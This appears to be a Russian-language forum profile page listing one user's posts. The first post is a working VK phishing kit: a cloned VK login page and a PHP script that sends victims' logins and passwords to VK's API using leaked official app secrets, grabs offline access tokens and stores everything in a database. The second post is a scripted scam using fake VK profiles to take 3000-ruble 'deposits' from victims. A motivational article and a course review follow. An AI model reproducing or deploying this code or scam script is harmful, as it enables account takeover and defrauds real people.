
Белый Монах
Members-
Публикации
7 -
Зарегистрирован
-
Посещение
Никогда
Репутация
12 Good-
В этой теме я покажу скрипт авторизации по логину и паролю с дальнейшей проверкой на валид (без уведомлений). Предположим, у вас есть сайт под фишинг и все что вам нужно это сам механизм фишинга. Суть механизма заключается в том, что мы будем отправлять данные из HTML-форм на сервера вконтакте. В ответ мы получим access token. Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Выполнять авторизацию будем, представляясь официальным приложением. Запрос на прямую авторизацию выглядит примерно так: https://api.vk.com/oauth/token?grant_type=password&client_id=[наше значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение] Что все это значит: clenit_id - это id нашего приложения. Запишем в client_id значение 2274003. scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль, либо завершит все сессии в настройках безопасности. client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH username - логин пользователя ВКонтакте password - пароль пользователя ВКонтакте Варианты официальных clenit_id и client_secret Android: client_id: 2274003 client_secret: hHbZxrka2uZ6jB1inYsH IPhone: client_id: 3140623 client_secret: VeWdmVclDCtn6ihuP1nt IPad: client_id: 3682744 client_secret: mY6CDUswIVdJLCD3j15n Windows desktop: client_id: 3697615 client_secret: AlVXZFMUqyrnABp8ncuU Windows phone: client_id: 3502557 client_secret: PEObAuQi6KloPM4T30DV Теперь необходима форма авторизации как в вк. Создадим php документ authorize.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <?php $errorGet = $_GET['error_login']; if (!$errorGet) { echo "<style> #hide_row_pass {display: none;} </style>"; } else { echo "<style> #hide_row_pass {display: block;} </style>"; } ?> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <title>ВКонтакте | Вход</title> <link rel="stylesheet" type="text/css" href="css/al/common.css?34795707965" /><link rel="stylesheet" type="text/css" href="css/al/fonts_cnt.css?5181750877" /> <link type="text/css" rel="stylesheet" href="css/api/oauth_popup.css?29651175773"></link> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="images/icons/favicons/fav_logo_2x.ico?8"></link> </head> <body class="VK oauth_centered"> <script> if (window.devicePixelRatio >= 2) document.body.className += ' is_2x'; </script> <div class="oauth_wrap"> <div class="oauth_wrap_inner"> <div class="oauth_wrap_content" id="oauth_wrap_content"> <div class="oauth_head"> <a class="oauth_logo fl_l" href="https://vk.com" target="_blank"></a> <div id="oauth_head_info" class="oauth_head_info fl_r"> <a class="oauth_reg_link" href="https://vk.com/join?reg=1" target="_blank">Регистрация</a> </div> </div> <div class="oauth_content box_body clear_fix"> <div class="box_msg_gray box_msg_padded">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div> <form method="POST" id="login_submit" action="login.php"> <div class="oauth_form"> <div id="hide_row_pass" class="box_error">Указан неверный логин или пароль.</div> <div class="oauth_form_login"> <div class="oauth_form_header">Телефон или email</div> <input type="text" class="oauth_form_input dark" name="login" value=""> <div class="oauth_form_header">Пароль</div> <input type="password" class="oauth_form_input dark" name="password" /> <button class="flat_button oauth_button button_wide" id="install_allow" type="submit" name="submit_login">Войти</button> <a class="oauth_forgot" href="https://vk.com/restore" target="_blank">Забыли пароль?</a> </div> </div> </form> </div> </div> </div> </div> </body> </html> Архив со всеми стилями и картинками: https://yadi.sk/d/oVB9HuhdIi_3Rw VT: https://www.virustotal.com/#/url-analysis/u-ed0fa25a82001fa36b9c7db58ac426bc1699f63284192c5f8f28239e0aa42408-1539339204 Теперь нужен файл, который будет отсылать логин и пароль на авторизацию и получение токена. Назовем login.php Но перед этим создадим БД куда будем записывать все валидные данные. 1. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать" 2. Создадим таблицу на 7 столбов: 3. Параметры id, Логин (login), Пароль (password), Токен (token), Дата (date), Имя(first_name) и Фамилия(last_name) зададим как на картинке В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY. Теперь сам файл login.php <?php //Создадим headers $headers = array( 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'content-type' => 'application/x-www-form-urlencoded', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36' ); //Запишем сюда значения логина и пароля из HTML формы $login = $_POST['login']; $password = $_POST['password']; //Если какое-то поле оказалось пустым if (empty($login) or empty($password)) { //Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке header('Location: /authorize.php?error_login=true'); exit; } else { //Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше $get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array( 'headers' => array( 'accept: '.$headers['accept'], 'content-type: '.$headers['content-type'], 'user-agent: '.$headers['user-agent'] ) )); //Если авторизация прошла успешно if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token)) { $token1 = json_decode(file_get_contents('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.''), true); $data = json_decode(file_get_contents('https://api.vk.com/method/users.get?user_id='.$token1['user_id'].'&access_token='.$token[0].'&fields=uid,first_name,last_name&v=5.80'), true); //Записываем в переменную текущую дату и время сервера $date_l = date("H:i:s d-m-Y"); //Подключаемся к БД $host="localhost"; $user=""; //Имя пользователя от MySql $pass=""; //Пароль от MySql $db_name=""; //Имя базы $link=mysql_connect($host,$user,$pass); mysql_select_db($db_name,$link); mysql_query("set names utf8"); //Выполняем запись валида в БД $sql = mysql_query("INSERT INTO vk(login, password, token, date, user_id, first_name, last_name) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."','".$token1['user_id']."','".$data['response'][0]['first_name']."','".$data['response'][0]['last_name']."')"); //Если все прошло успешно, то перенаправляем пользователя на vk.com или на ваш сайт if ($sql) { session_start(); $_SESSION['logged_user'] = $data['response'][0]['first_name']; header('Location: vk.com/'); //Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке } else header('Location: /authorize.php?error_login=true'); //Закрываем соединение mysql_close($link); exit; } //Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой else header('Location: /authorize.php?error_login=true'); } //cUrl POST function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); if(isset($params['params'])) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']); } if(isset($params['headers'])) { curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']); } if(isset($params['cookies'])) { curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']); } if($proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy); if($proxy_userpwd) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd); } } $result = curl_exec($ch); $result_explode = explode("\r\n\r\n", $result); $headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : ''); $content = $result_explode[count($result_explode) - 1]; preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies); $cookies = implode(';', $parse_cookies[1]); curl_close($ch); return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content); } ?> В переменные $host="localhost"; $user=""; //Имя пользователя от MySql $pass=""; //Пароль от MySql $db_name=""; //Имя базы вписываем наши данные На 50 строчке если авторизация прошла успешно, нужно перенаправить пользователя на ваш сайт или куда вам угодно. header('Location: "Ваш сайт" '); Осталось залить все файлы на хостинг и можно фишить.
- 1 ответ
-
- 5
-
-
Необходимое Левые аккаунты ВК от 3 шт., можно и больше для убедительности. Из них мы делаем настоящие: добавляем фото, заполняем страницу и т.п. Подготовка Создаём страницу обычной девушки (не супермодели, но и не урыги) и ждем мамонтов, которые захотят пообщаться. На начальном этапе знакомства каждый будет спрашивать вас, чем вы занимаетесь и где работаете. Тут приступаем к самой схеме, а именно отвечаем, что работаем в интернете (НЕ начинаем сразу заливать ему о огромном заработке). Каждый заинтересуется, что за работа? Тут уже мы начинаем травить байки, что занимаемся необычным видом заработка. Лечите любым способом, который придёт вам в голову: "Я занимаюсь заработком социальной инженерией, но при этом никого не обманываю". 90% мамонтов будут спрашивать, что это такое и с чем это едят, сколько можно зарабатывать вот так сидя дома и т.д. Отвечаем: "Ну, у меня в день получается около 5000 рублей особо не напрягаясь". К вам есть доверие, так как все они видели много страниц, где всё оформлено якобы для заработка и т.п. К этому привыкли, и относится как к разводу, ну а вы просто девушка, у которой в статусе цитата про любовь и вы общаетесь нормально, а не кидаете ссылку, мол, вот тут куча бабла. Если попросит рассказать поподробнее, то можете немного поломаться для реалистичности: "Может поменяем тему? Если тебе так интересно, то добавляйся к руководителю. Ты же мне не для работы писал, а для того, чтобы пообщаться. Он может возьмёт к нам в группу. Будешь тоже работать, хотя вряд ли." Работаем Теперь, когда терпила добавился к руководителю (нашему фейку), начинаем его мариновать. Пишете: "Сбор группы сегодня в 20:00, если интересно, то присоединяйся в диалог". После вступают в дело наши аккаунты. Вам нужно в одно время сидеть через них, можно установить несколько браузеров для удобства. Создаём конференцию в вк. Добавляем наши фэйки. И начинаем засирать чат такими темами как: ”Интересно что на этот раз будет, с прошлого было вообще замечательно”. Маринуйте мамонтов, пусть он будет даже один, потому что с него вы поймаете деньги. Он будет спрашивать мол, а что же тут. Кто-нибудь пишет: ”О, новенький, как сюда попал?”, с другого акка: ” Cлышал про соц инженерию”? и т.п., в общем создаём полную иллюзию общения. Кто-нибудь один может писать что против того, что тут новенький, мол зачем делить. Это очень весело, главное чтобы не выглядело глупо: шутите, обсуждайте, кто на что потратил бабло. И всегда пишите о том, сколько заработали в прошлый раз. О том, что главный чувак, который толкает темы вообще крутой и головастый. Развод После того, как вы попереписывались, и "дождались кого-то еще", пишем с аккаунта руководителя, что все в сборе. Дальше с фейка: "Сколько на этот раз или бесплатно? Аахах)". Руководитель: "Работаем 3 дня. У каждого будет своё задание. Много времени уделять не нужно, вся работа в вечернее время. Схема гараздо лучше прошлой, и деньги будут в размере приблизительно 40.000 рублей каждому. Работаем по старой методике, но по новой схеме. По прошлой теме все поняли, что ничего сложного нет и деньги хорошие. Если кто-то накосячит или по какой-лио причине сольётся, то всё прогорит и я потеряю деньги, которые уже вложил. Всё очень просто, главное делать простые действия вовремя. Для того, чтобы кто-нибдуь не обосрал нам малину скидываемся по 3000 рублей, после профита все деньги верну. Эти денбги выступают в качестве залога". С фейков пишем: "Не гони, каким нужно быть дебилом, чтобы накосячить здесь" и смеёмся. С другого фейка: "А почему 3000? В прошлый раз же 10000 брал. В чём смысл?" Отвечаете с руководителя: "Сейчас решил брать поменьше, потому что в основном все уже опытные. К чему эти вопросы? Хочешь скидывайся 10000 рублей". Принимаете денежку на левый Qiwi. Можно так за раз развести хоть 9 мамонтов. С каждого по 3000, вот вам и неплохой выхлоп. Главное, не ставьте слишком большую сумму. После кидка мамонту можно кинуть какую-то паблик схему, тогда к Вам вообще не доебаться. Если во время развода он будет спрашивать, чем будет заниматься, несите какую-то лабуду по типу того, что в его обязательства входит написание продажных комментов и т.д.
- 3 ответа
-
- 2
-
-
Почему нельзя заранее говорить о своих планах и почему чаще достигаются цели, о которых мы никому не рассказываем, читайте в этой статье. Это может быть полезно при старте вашего проекта. 1. Интересный эксперимент Немецкий профессор психологии Питер Гольвитцер изучает данный феномен уже более 15 лет. Однажды он провел интересный эксперимент. В качестве подопытных мышей Гольвитцер отобрал группу студентов юридического университета. Цель эксперимента: выяснить, влияют ли публичные заявления о своих намерениях на достижение личных целей. Для этого Гольвитцер составил список утверждений вроде: “Я собираюсь как можно больше взять от юридического образования”, “Я собираюсь стать успешным адвокатом” и так далее. Каждое из утверждений студенты должны были оценить по шкале от “Полностью согласен” до “Полностью не согласен”. Так же, в опросниках студентов попросили перечислить три конкретные вещи, которые они собираются сделать, чтобы стать успешным адвокатом. Типичными ответами были: “Я намереваюсь регулярно читать юридическую периодику” или что-то в этом роде. Когда студенты сдали анкеты, Питер Гольвитцер обнаружил, что большинство студентов ответили на вопросы и подписались своим именем. Некоторые вообще не заполнили опросники и сохранили свои намерения в секрете. Студенты не подозревали, что их намерения будут проверять на практике. Они сдали свои анкеты и забыли об этом. Но исследователи во главе с Питером Гольвитцером кое-что задумали. Психологи выждали некоторое время, а затем искусственно создали ситуацию, чтобы проверить опрошенных “на вшивость”. Они попросили студентов помочь им в проекте, который требовал анализа двадцати криминальных дел. Студентам сказали, что они должны работать так упорно, как только могут. При этом, у каждого есть право “забить” на помощь и уйти в любой момент. Криминальные дела были непростыми. Они требовали включения мозгов на полную катушку и усидчивости. Результаты эксперимента были однозначными. Каждый, кто публично огласил в анкете свои намерения на будущее, “слился” с работы. Они уклонились от достижения поставленной цели. И это несмотря на преданность идее построить карьеру в области юриспруденции! Только те, кто сохранили свои надежды при себе, смогли по-настоящему проделать тяжелую работу и довести начатое до конца. Почему люди рассказывают окружающим о своих намерениях? Гольвитцер считает, что это имеет отношение к чувству самоидентификации и целостности. Все мы хотим быть идеальными людьми. Но заявления о наших намерениях тяжело и упорно работать, зачастую, являются чисто символическим актом. Это всего лишь помогает нам самоопределиться со своей ролью. Например: “Я юрист”, “Я писатель”, “Я фотограф”, “Я программист”. Но Питер Гольвитцер провел еще один эксперимент, чтобы дополнительно убедиться в своей правоте. Студентам показали пять фотографий верховного суда. Фотографии отличались размерами. От очень маленькой до очень большой. Испытуемых спросили: “Насколько ты чувствуешь себя классным юристом сейчас?” Подопытные должны были оценить свою крутость и ответить на вопрос, выбрав одну из пяти фотографий. Чем большую фотографию ты выберешь, тем более завершенным себя чувствуешь. Никто не удивился когда студенты, которые ранее заявили о своих целях и провалились на практике, склонялись к выбору фотографии побольше. Даже одно только заявление о своих планах стать хорошим юристом, заставило их чувствовать себя так, будто они уже были хорошими юристами. Это увеличило их самомнение, парадоксально уменьшив их возможность к тяжелой работе. Они стали легендами в своём воображении. А легенды не делают пыльную и грязную работу. Можно сделать вывод, что лучше меньше говорить, а больше делать, достигая вершин
- 2 ответа
-
- 5
-
-
Курс по услугам по аренде спецтехники.
Белый Монах ответил в тему пользователя Stepachka в Схемы заработка от Stepachka
Очень дорого, но по итогу, понимаю что деньги потрачены не зря, понравилось абсолютно все, от адекватности и юридической подкованности продавца до выхлопов в первые же дни после обучения , СПАСИБО!